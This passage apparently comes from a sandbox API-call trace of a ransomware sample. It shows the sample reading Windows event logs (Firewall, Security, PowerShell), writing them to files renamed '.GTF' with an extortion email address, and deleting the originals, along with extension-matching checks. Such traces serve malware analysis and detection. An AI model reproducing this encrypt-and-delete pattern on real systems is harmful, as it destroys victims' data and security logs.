	[0084.023] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1052672) returned 1
	[0084.023] CloseHandle (hObject=0x390) returned 1
	[0084.023] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 0x20
	[0084.023] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.023] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.023] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.023] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.023] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.024] GetLastError () returned 0x0
	[0084.024] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.044] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.062] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x1010, lpOverlapped=0x0) returned 1
	[0084.165] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0084.169] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.169] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x164, lpOverlapped=0x0) returned 1
	[0084.169] SetEndOfFile (hFile=0x370) returned 1
	[0084.169] CloseHandle (hObject=0x370) returned 1
	[0084.191] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.191] SetEndOfFile (hFile=0x390) returned 1
	[0084.192] CloseHandle (hObject=0x390) returned 1
	[0084.192] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.192] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4firewall.evtx")) returned 1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString=".doc") returned 4
	[0084.193] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".docx") returned 5
	[0084.193] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.193] lstrlenW (lpString=".pdf") returned 4
	[0084.193] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".xls") returned 4
	[0084.193] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".xlsx") returned 5
	[0084.193] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.193] lstrlenW (lpString=".ppt") returned 4
	[0084.193] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString=".zip") returned 4
	[0084.193] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".rar") returned 4
	[0084.193] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".bz2") returned 4
	[0084.193] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString=".7z") returned 3
	[0084.193] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString=".dbf") returned 4
	[0084.193] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString=".1cd") returned 4
	[0084.193] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString=".jpg") returned 4
	[0084.193] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.194] lstrlenW (lpString=".doc") returned 4
	[0084.194] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".docx") returned 5
	[0084.194] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.194] lstrlenW (lpString=".pdf") returned 4
	[0084.194] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".xls") returned 4
	[0084.194] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".xlsx") returned 5
	[0084.194] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.194] lstrlenW (lpString=".ppt") returned 4
	[0084.194] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.194] lstrlenW (lpString=".zip") returned 4
	[0084.194] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".rar") returned 4
	[0084.194] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".bz2") returned 4
	[0084.194] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString=".7z") returned 3
	[0084.194] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.194] lstrlenW (lpString=".dbf") returned 4
	[0084.194] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.194] lstrlenW (lpString=".1cd") returned 4
	[0084.194] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.194] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx") returned 80
	[0084.194] lstrlenW (lpString=".jpg") returned 4
	[0084.194] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.194] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.194] lstrlenW (lpString="Security.evtx") returned 13
	[0084.195] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.195] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=1118208) returned 1
	[0084.195] CloseHandle (hObject=0x390) returned 1
	[0084.195] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20
	[0084.195] GetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.195] CreateFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.195] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.195] CreateFileW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\security.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0084.196] GetLastError () returned 0x0
	[0084.196] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.327] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0084.344] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11010, lpOverlapped=0x0) returned 1
	[0084.433] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11020, lpOverlapped=0x0) returned 1
	[0084.438] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.438] WriteFile (in: hFile=0x370, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0xee, lpOverlapped=0x0) returned 1
	[0084.438] SetEndOfFile (hFile=0x370) returned 1
	[0084.438] CloseHandle (hObject=0x370) returned 1
	[0084.503] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.503] SetEndOfFile (hFile=0x390) returned 1
	[0084.558] CloseHandle (hObject=0x390) returned 1
	[0084.558] SetFileAttributesW (lpFileName="C:\\Logs\\Security.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.558] DeleteFileW (lpFileName="C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".doc") returned 4
	[0084.559] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".docx") returned 5
	[0084.559] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.559] lstrlenW (lpString=".pdf") returned 4
	[0084.559] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".xls") returned 4
	[0084.559] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".xlsx") returned 5
	[0084.559] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.559] lstrlenW (lpString=".ppt") returned 4
	[0084.559] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".zip") returned 4
	[0084.559] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".rar") returned 4
	[0084.559] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".bz2") returned 4
	[0084.559] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString=".7z") returned 3
	[0084.559] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".dbf") returned 4
	[0084.559] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".1cd") returned 4
	[0084.559] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".jpg") returned 4
	[0084.559] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.559] lstrlenW (lpString=".doc") returned 4
	[0084.560] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".docx") returned 5
	[0084.560] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.560] lstrlenW (lpString=".pdf") returned 4
	[0084.560] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".xls") returned 4
	[0084.560] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".xlsx") returned 5
	[0084.560] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.560] lstrlenW (lpString=".ppt") returned 4
	[0084.560] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.560] lstrlenW (lpString=".zip") returned 4
	[0084.560] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".rar") returned 4
	[0084.560] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".bz2") returned 4
	[0084.560] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString=".7z") returned 3
	[0084.560] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.560] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.560] lstrlenW (lpString=".dbf") returned 4
	[0084.560] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.560] lstrlenW (lpString=".1cd") returned 4
	[0084.560] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.560] lstrlenW (lpString="C:\\Logs\\Security.evtx") returned 21
	[0084.560] lstrlenW (lpString=".jpg") returned 4
	[0084.560] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.560] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0084.560] lstrlenW (lpString="Windows PowerShell.evtx") returned 23
	[0084.560] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.561] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0084.561] CloseHandle (hObject=0x390) returned 1
	[0084.561] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20
	[0084.561] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.607] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.607] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.607] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.607] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.607] GetLastError () returned 0x0
	[0084.607] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0084.621] WriteFile (in: hFile=0x37c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0084.622] ReadFile (in: hFile=0x390, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.622] WriteFile (in: hFile=0x37c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x102, lpOverlapped=0x0) returned 1
	[0084.622] SetEndOfFile (hFile=0x37c) returned 1
	[0084.623] CloseHandle (hObject=0x37c) returned 1
	[0084.625] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.625] SetEndOfFile (hFile=0x390) returned 1
	[0084.626] CloseHandle (hObject=0x390) returned 1
	[0084.626] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0084.627] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1
	[0084.627] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.627] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.627] lstrlenW (lpString=".doc") returned 4
	[0084.627] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".docx") returned 5
	[0084.627] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.627] lstrlenW (lpString=".pdf") returned 4
	[0084.627] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".xls") returned 4
	[0084.627] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".xlsx") returned 5
	[0084.627] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.627] lstrlenW (lpString=".ppt") returned 4
	[0084.627] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.627] lstrlenW (lpString=".zip") returned 4
	[0084.627] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".rar") returned 4
	[0084.627] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".bz2") returned 4
	[0084.627] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.627] lstrlenW (lpString=".7z") returned 3
	[0084.627] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.627] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.627] lstrlenW (lpString=".dbf") returned 4
	[0084.628] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".1cd") returned 4
	[0084.628] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".jpg") returned 4
	[0084.628] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".doc") returned 4
	[0084.628] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".docx") returned 5
	[0084.628] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0084.628] lstrlenW (lpString=".pdf") returned 4
	[0084.628] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".xls") returned 4
	[0084.628] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".xlsx") returned 5
	[0084.628] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0084.628] lstrlenW (lpString=".ppt") returned 4
	[0084.628] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".zip") returned 4
	[0084.628] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".rar") returned 4
	[0084.628] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".bz2") returned 4
	[0084.628] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString=".7z") returned 3
	[0084.628] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".dbf") returned 4
	[0084.628] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.628] lstrlenW (lpString=".1cd") returned 4
	[0084.628] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0084.628] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31
	[0084.629] lstrlenW (lpString=".jpg") returned 4
	[0084.629] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0084.629] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0084.629] lstrlenW (lpString="fling.exe") returned 9
	[0084.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0084.629] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=78336) returned 1
	[0084.629] CloseHandle (hObject=0x390) returned 1
	[0084.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe")) returned 0x20
	[0084.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\fling.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\fling.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.629] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\fling.exe" (normalized: "c:\\program files\\common files\\fling.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString="C:\\Program Files\\Common Files\\fling.exe") returned 39
	[0084.630] lstrlenW (lpString=".doc") returned 4
	[0084.630] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0084.630] lstrlenW (lpString=".docx") returned 5
	[0084.630] lstrcmpiW (lpString1=".docx", lpString2="g.exe") returned -1
	[0084.630] lstrlenW (lpString=".pdf") returned 4
	[0084.630] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString=".xls") returned 4
	[0084.630] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0084.630] lstrlenW (lpString=".xlsx") returned 5
	[0084.630] lstrcmpiW (lpString1=".xlsx", lpString2="g.exe") returned -1
